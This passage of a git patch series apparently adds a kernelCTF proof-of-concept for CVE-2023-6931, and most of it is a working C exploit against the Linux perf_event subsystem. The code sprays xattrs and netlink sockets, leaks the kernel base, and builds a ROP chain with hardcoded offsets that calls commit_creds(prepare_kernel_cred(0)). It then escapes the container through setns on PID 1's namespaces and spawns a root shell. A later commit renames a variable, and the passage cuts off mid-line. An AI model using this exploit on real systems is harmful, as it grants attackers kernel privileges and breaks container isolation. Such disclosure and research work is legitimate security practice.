zdoq=Sr;Dh6rF4}$>&Z#U$iBLkkD0zEZ_Jx_OD(4`U0!4}SH_#=eYc!|yxCXR3NX6z zmVdN2EoVbl(dd9Ihmhj|cjEHJ{$Qio7>WmR zIW8)~{-D_yj?D6hGisMx&}c`vPEoaq?0howDV_s#qL5q7m|TV!piC-M(H#f;!l=*1kF{phHGhatk zN7n^n-j$%Sh)q{>4i`0jk+7%^hGM>IPyPJKG4CqHtqR7gSH}Ig{ftw~YT{OVaa>s4 zv@QsLHpRV6DOrQC@P~qVj0su9*Wx7ul?%7TM712iYGkWdg}}yqt$5Ok1f`G+-fG`! zwFa$jf)nO!Q+qM8EjWK?Bh*lgH{fqX9YQg34}_*?H6le+V_6JfsVlPB|1Ti=&T!#} z*Rf3e{mhilhm=_Aa-QhL_|evh?fE;KsRo%d;dPOhrh;?Y^Y=K@OY*eo8zDc<0gGeV z5SPDIWtejP`5cSSi`dKc$k3-3+wWExrrQ)x$3fIjY|rOQv`@n;Hfzu4WK8*73@S2_ z4`*5qhR&e4d_FH=IzuUQ{aKIcU69k67V~_rz;uzaFRZ_U1$_rnpRzrlKQKL_6uJDu z_HR`7^-7P=>6r4l9@$f$71}=xjQT_!x8=?=)cFOU|3O8j!tu9&I_>$~gXxNb4p-Yg z>@n^1Sb;sCk1*x>D)nsrng53Zd*077eS;5Zl>wK__CG7I=W|@9e4ferh3)^jvgh&R z{W??mw@5YyEwuklfqmisV<}u_3hn874RtY>&*wZ$dkgx%us`Yhp0?05hbZxPJOBTd zLVf0$()UFrer(U@Mk#gfz(x6uWHC=TQ9rk5a1r z9N%0n$H7+EI?Lzts_wB6Al29;`(%5jUqIrt7n)}4D$;3l*(cjE?T5r^&)=Dynr*`M zWCv`={3&Dz +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define READ_BUF_SIZE 2048 + +#define SK_RCU_OFF 744 +#define SK_DESTRUCT_OFF 720 +#define JOP_OFF (READ_BUF_SIZE - SK_RCU_OFF + SK_DESTRUCT_OFF - XATTR_HDR_LEN) + +#define XATTR_HDR_LEN 32 +#define XATTR_DATA_LEN1 (READ_BUF_SIZE/2) +#define XATTR_DATA_LEN2 (JOP_OFF + 8) + +/* How far after out to inc */ +#define OOB_LOC1 688 +#define OOB_LOC2 1040 +/* Target event fds */ +#define TFD1 ((READ_BUF_SIZE - 8 + OOB_LOC1)/8) +#define TFD2 ((READ_BUF_SIZE - 8 + OOB_LOC2)/8) +/* Number of increments */ +#define NUM_INCS1 0x830 +#define NUM_INCS2 0xf + +#define NUM_SIBLINGS (65536/8 - 1 + READ_BUF_SIZE/8) + +#define OBJS_PER_SLAB 16 + +#define SOCK_SLABS (2*OBJS_PER_SLAB) +#define SOCK_SPRAY (SOCK_SLABS*OBJS_PER_SLAB) + +#define XATTR_SPRAY1 1000 +#define XATTR_SPRAY2 (SOCK_SLABS*OBJS_PER_SLAB) +#define XATTR_SPRAY3 (SOCK_SLABS+OBJS_PER_SLAB) + +#define PREPARE_KERNEL_CRED 0x1bb6b0 +#define COMMIT_CREDS 0x1bb410 +#define FIND_TASK_BY_VPID 0x1b1df0 +#define SWITCH_TASK_NAMESPACES 0x1b9880 + +#define DO_SYS_VFORK 0x18c3b0 +#define MSLEEP 0x224be0 + +#define INIT_NSPROXY 0x2676600 + +#define MOV_RSP_RBP_POP_RBP_RET 0x12aeac +#define POP_RDI_RET_THUNK 0x0d8a3a +#define POP_RSI_RET_THUNK 0x04899f +#define MOV_RDI_RAX_POP_RBX_RET_THUNK 0x0d4f31 + +#define err_exit(s) do { perror(s); exit(EXIT_FAILURE); } while(0) + +struct perf_event_attr attr; + +int sib_fds[NUM_SIBLINGS]; + +long read_buf[8192]; + +int ffd; + +char xattr_data[XATTR_DATA_LEN2]; + + +/* + * Syscall wrappers. + */ + +int perf_event_open(struct perf_event_attr *attr, pid_t pid, unsigned int cpu, int group_fd, unsigned long flags) +{ + return syscall(SYS_perf_event_open, attr, pid, cpu, group_fd, flags); +} + + +int num_xattr = 0; +int spray_simple_xattrs(int num_spray, void *xattr_val, int xattr_len) { + char name[32]; + int ret = num_xattr; + for (int i = 0; i < num_spray; i++, num_xattr++) { + sprintf(name, "security.%d", num_xattr); + if (fsetxattr(ffd, name, xattr_val, xattr_len, 0) == -1) + err_exit("[-] fsetxattr"); + } + return ret; +} + + +unsigned int cpu; +void pin_cpu () { + cpu_set_t set; + CPU_ZERO(&set); + CPU_SET(0, &set); + if (sched_setaffinity(0, sizeof(set), &set)) + err_exit("[-] sched_setaffinity"); +} + + +void set_attr (void) { + attr.type = PERF_TYPE_SOFTWARE; + attr.size = sizeof(attr); + attr.config = PERF_COUNT_SW_PAGE_FAULTS; + attr.disabled = 1; + attr.exclude_kernel = 1; + attr.exclude_hv = 1; +} + +void prepare_rop (long *rop, long kbase) { + rop[JOP_OFF/8] = kbase + MOV_RSP_RBP_POP_RBP_RET; + + rop += (JOP_OFF - SK_DESTRUCT_OFF)/8; + /* commit_creds(prepare_kernel_cred(0)) */ + rop++; + *rop++ = kbase + POP_RDI_RET_THUNK; + *rop++ = 0; + *rop++ = kbase + PREPARE_KERNEL_CRED; + *rop++ = kbase + MOV_RDI_RAX_POP_RBX_RET_THUNK; + rop++; + *rop++ = kbase + COMMIT_CREDS; + /* switch_task_namespaces(find_task_by_vpid(1, init_ns_proxy) */ + *rop++ = kbase + POP_RDI_RET_THUNK; + *rop++ = 1; + *rop++ = kbase + FIND_TASK_BY_VPID; + *rop++ = kbase + POP_RSI_RET_THUNK; + *rop++ = kbase + INIT_NSPROXY; + *rop++ = kbase + MOV_RDI_RAX_POP_RBX_RET_THUNK; + rop++; + *rop++ = kbase + SWITCH_TASK_NAMESPACES; + /* telefork */ + *rop++ = kbase + DO_SYS_VFORK; + *rop++ = kbase + MSLEEP; +} + + + +int sock_fds[SOCK_SPRAY]; +void spray_socks (void) { + for (int i = 0; i < SOCK_SPRAY; i++) { + sock_fds[i] = socket(PF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock_fds[i] == -1) + err_exit("[-] socket"); + } +} + +void inc_counters (int fd, int inc) { + if (ioctl(fd, PERF_EVENT_IOC_ENABLE, 0) == -1) + err_exit("[-] ioctl"); + for (int i = 0; i < inc; i++) { + char *m = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); + if (m == MAP_FAILED) + err_exit("[-] mmap"); + m[0] = 0; + if (munmap(m, 4096) == -1) + err_exit("[-] munmap"); + } + if (ioctl(fd, PERF_EVENT_IOC_DISABLE, 0) == -1) + err_exit("[-] ioctl"); +} + + +int main (int argc, char **argv) { + char name[32]; + int num_events = 0; + long kernel_base; + int target_sock; + int optval = 1; + + memset(xattr_data, 'A', XATTR_DATA_LEN1); + + pin_cpu(); + set_attr(); + + pid_t ppid = getpid(); + + printf("[*] Opening events\n"); + + attr.read_format = PERF_FORMAT_GROUP; + attr.disabled = 0; + sib_fds[0] = perf_event_open(&attr, ppid, -1, -1, 0); + if (sib_fds[0] == -1) + err_exit("[-] perf_event_open"); + attr.read_format = 0; + attr.disabled = 1; + + for (int i = 1; i <= TFD2; i++) { + sib_fds[i] = perf_event_open(&attr, ppid, -1, sib_fds[0], 0); + if (sib_fds[i] == -1) { + err_exit("[-] perf_event_open"); + } + } + + inc_counters(sib_fds[TFD1], NUM_INCS1); + inc_counters(sib_fds[TFD2], NUM_INCS2); + + for (int i = 0; i < 3; i++) { + pid_t cpid = fork(); + if (cpid == -1) + err_exit("[-] fork"); + if (cpid) + continue; + for (int j = 1; j <= 2048; j++) { + sib_fds[j] = perf_event_open(&attr, ppid, -1, sib_fds[0], 0); + if (sib_fds[j] == -1) { + err_exit("[-] perf_event_open"); + } + } + sleep(-1); + } + + while (num_events <= 2048*3 + TFD2) { + if (read(sib_fds[0], read_buf, 65536) == -1) + err_exit("[-] read"); + num_events = read_buf[0]; + } + + for (int i = TFD2 + 1; num_events < NUM_SIBLINGS; i++, num_events++) { + sib_fds[i] = perf_event_open(&attr, ppid, -1, sib_fds[0], 0); + if (sib_fds[i] == -1) { + err_exit("[-] perf_event_open"); + } + } + + printf("[*] Event group ready\n"); + + ffd = open("/tmp/", O_TMPFILE | O_RDWR, 0666); + if (ffd == -1) + err_exit("[-] open"); + + spray_simple_xattrs(XATTR_SPRAY1, xattr_data, XATTR_DATA_LEN1); + int fill = spray_simple_xattrs(XATTR_SPRAY2, xattr_data, XATTR_DATA_LEN1); + + + for (int i = fill; i < fill + XATTR_SPRAY2; i++) { + if ((i - fill) % OBJS_PER_SLAB == 0) + continue; + sprintf(name, "security.%d", i); + if (fremovexattr(ffd, name) == -1) + err_exit("[-] fremovexattr"); + } + spray_socks(); + + for (int i = fill; i < fill + XATTR_SPRAY2; i+=OBJS_PER_SLAB) { + sprintf(name, "security.%d", i); + if (fremovexattr(ffd, name) == -1) + err_exit("[-] fremovexattr"); + } + + spray_simple_xattrs(OBJS_PER_SLAB, xattr_data, XATTR_DATA_LEN1); + + if (read(sib_fds[0], read_buf, READ_BUF_SIZE) == -1) + err_exit("[-] read"); + + target_sock = -1; + optval = 1; + for (int i = 0; i < SOCK_SPRAY; i++) { + int ret = setsockopt(sock_fds[i], SOL_NETLINK, NETLINK_ADD_MEMBERSHIP, &optval, sizeof(optval)); + if (ret) { + kernel_base = 0xffffffff00000000 | (ret & 0xff000000); + target_sock = sock_fds[i]; + break; + } + } + + if (target_sock == -1) { + printf("[-] OOB failed\n"); + exit(1); + } + + prepare_rop(xattr_data, kernel_base); + spray_simple_xattrs(XATTR_SPRAY3, xattr_data, XATTR_DATA_LEN2); + + if (setsockopt(target_sock, SOL_SOCKET, SO_SNDBUF, &optval, sizeof(optval)) == -1) + err_exit("[-] setsockopt"); + + printf("[+] Returned from ROP\n"); + + int mntns_fd = open("/proc/1/ns/mnt", O_RDONLY); + int netns_fd = open("/proc/1/ns/net", O_RDONLY); + int pidns_fd = open("/proc/1/ns/pid", O_RDONLY); + + if (mntns_fd == -1) + perror("[-] open(/proc/1/ns/mnt)"); + if (setns(mntns_fd, CLONE_NEWNS) == -1) + perror("[-] setns mnt"); + + if (netns_fd == -1) + perror("[-] open(/proc/1/ns/net)"); + if (setns(netns_fd, CLONE_NEWNET) == -1) + perror("[-] setns net"); + + if (pidns_fd == -1) + perror("[-] open(/proc/1/ns/pid)"); + if (setns(pidns_fd, CLONE_NEWPID) == -1) + perror("[-] setns pid"); + + printf("[*] Launching shell\n"); + system("/bin/sh"); + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/original.tar.gz b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/original.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..06d200b188c234ec7defe4dbf4f8f29a946ca6e3 GIT binary patch literal 10459 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 P)C-sUqf#^&8ruH@_o?le literal 0 HcmV?d00001 From dc97b4395f5288871ed43597dc30390ffbe8194e Mon Sep 17 00:00:00 2001 From: 0x48 Date: Wed, 16 Oct 2024 17:59:10 +0200 Subject: [PATCH 02/10] Rename variable --- .../exploit/cos-105-17412.226.28/exploit.c | 40 +++++++++---------- .../exploit/lts-6.1.61/exploit.c | 39 ++++++++---------- 2 files changed, 34 insertions(+), 45 deletions(-) diff --git a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit.c b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit.c index 370bc16c..802dea82 100644 --- a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit.c +++ b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit.c @@ -72,7 +72,7 @@ int sib_fds[NUM_SIBLINGS]; long read_buf[8192]; -int ffd; +int xattr_fd; char xattr_data[XATTR_DATA_LEN2]; @@ -86,20 +86,6 @@ int perf_event_open(struct perf_event_attr *attr, pid_t pid, unsigned int cpu, i return syscall(SYS_perf_event_open, attr, pid, cpu, group_fd, flags); } - -int num_xattr = 0; -int spray_simple_xattrs(int num_spray, void *xattr_val, int xattr_len) { - char name[32]; - int ret = num_xattr; - for (int i = 0; i < num_spray; i++, num_xattr++) { - sprintf(name, "security.%d", num_xattr); - if (fsetxattr(ffd, name, xattr_val, xattr_len, 0) == -1) - err_exit("[-] fsetxattr"); - } - return ret; -} - - unsigned int cpu; void pin_cpu () { cpu_set_t set; @@ -109,7 +95,6 @@ void pin_cpu () { err_exit("[-] sched_setaffinity"); } - void set_attr (void) { attr.type = PERF_TYPE_SOFTWARE; attr.size = sizeof(attr); @@ -145,6 +130,18 @@ void prepare_rop (long *rop, long kbase) { *rop++ = kbase + MSLEEP; } +int num_xattr = 0; +int spray_simple_xattrs(int num_spray, void *xattr_val, int xattr_len) { + char name[32]; + int ret = num_xattr; + for (int i = 0; i < num_spray; i++, num_xattr++) { + sprintf(name, "security.%d", num_xattr); + if (fsetxattr(xattr_fd, name, xattr_val, xattr_len, 0) == -1) + err_exit("[-] fsetxattr"); + } + return ret; +} + int sock_fds[SOCK_SPRAY]; @@ -171,7 +168,6 @@ void inc_counters (int fd, int inc) { err_exit("[-] ioctl"); } - int main (int argc, char **argv) { char name[32]; int num_events = 0; @@ -234,8 +230,8 @@ int main (int argc, char **argv) { printf("[*] Event group ready\n"); - ffd = open("/tmp/", O_TMPFILE | O_RDWR, 0666); - if (ffd == -1) + xattr_fd = open("/tmp/", O_TMPFILE | O_RDWR, 0666); + if (xattr_fd == -1) err_exit("[-] open"); spray_simple_xattrs(XATTR_SPRAY1, xattr_data, XATTR_DATA_LEN1); @@ -246,14 +242,14 @@ int main (int argc, char **argv) { if ((i - fill) % OBJS_PER_SLAB == 0) continue; sprintf(name, "security.%d", i); - if (fremovexattr(ffd, name) == -1) + if (fremovexattr(xattr_fd, name) == -1) err_exit("[-] fremovexattr"); } spray_socks(); for (int i = fill; i < fill + XATTR_SPRAY2; i+=OBJS_PER_SLAB) { sprintf(name, "security.%d", i); - if (fremovexattr(ffd, name) == -1) + if (fremovexattr(xattr_fd, name) == -1) err_exit("[-] fremovexattr"); } @@ -274,7 +270,7 @@ int main (int argc, char **argv) { } if (target_sock == -1) { - printf("[*] OOB failed\n"); + printf("[-] OOB failed\n"); exit(1); } diff --git a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit.c b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit.c index 74a50c98..cd3b5ace 100644 --- a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit.c +++ b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit.c @@ -72,11 +72,10 @@ int sib_fds[NUM_SIBLINGS]; long read_buf[8192]; -int ffd; +int xattr_fd; char xattr_data[XATTR_DATA_LEN2]; - /* * Syscall wrappers. */ @@ -86,20 +85,6 @@ int perf_event_open(struct perf_event_attr *attr, pid_t pid, unsigned int cpu, i return syscall(SYS_perf_event_open, attr, pid, cpu, group_fd, flags); } - -int num_xattr = 0; -int spray_simple_xattrs(int num_spray, void *xattr_val, int xattr_len) { - char name[32]; - int ret = num_xattr; - for (int i = 0; i < num_spray; i++, num_xattr++) { - sprintf(name, "security.%d", num_xattr); - if (fsetxattr(ffd, name, xattr_val, xattr_len, 0) == -1) - err_exit("[-] fsetxattr"); - } - return ret; -} - - unsigned int cpu; void pin_cpu () { cpu_set_t set; @@ -109,7 +94,6 @@ void pin_cpu () { err_exit("[-] sched_setaffinity"); } - void set_attr (void) { attr.type = PERF_TYPE_SOFTWARE; attr.size = sizeof(attr); @@ -145,7 +129,17 @@ void prepare_rop (long *rop, long kbase) { *rop++ = kbase + MSLEEP; } - +int num_xattr = 0; +int spray_simple_xattrs(int num_spray, void *xattr_val, int xattr_len) { + char name[32]; + int ret = num_xattr; + for (int i = 0; i < num_spray; i++, num_xattr++) { + sprintf(name, "security.%d", num_xattr); + if (fsetxattr(xattr_fd, name, xattr_val, xattr_len, 0) == -1) + err_exit("[-] 